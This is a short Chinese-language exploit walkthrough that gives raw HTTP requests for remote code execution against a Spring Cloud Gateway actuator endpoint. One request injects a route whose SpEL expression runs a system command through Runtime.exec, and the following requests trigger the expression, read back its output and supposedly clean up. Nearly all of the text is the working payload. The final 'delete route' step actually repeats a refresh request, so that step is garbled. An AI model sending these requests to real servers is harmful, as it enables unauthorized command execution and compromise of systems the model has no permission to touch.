1.首先发送如下数据包即可添加一个包含恶意SpEL表达式的路由
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.188.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{id: hacktest,filters: [{name: AddResponseHeader,args: {name: Result,value: #{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\id\}).getInputStream()))}}}],uri: http://example.com
} 然后发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.188.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0 发送如下数据包即可查看执行结果
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.188.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0 最后发送如下数据包清理现场删除所添加的路由
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
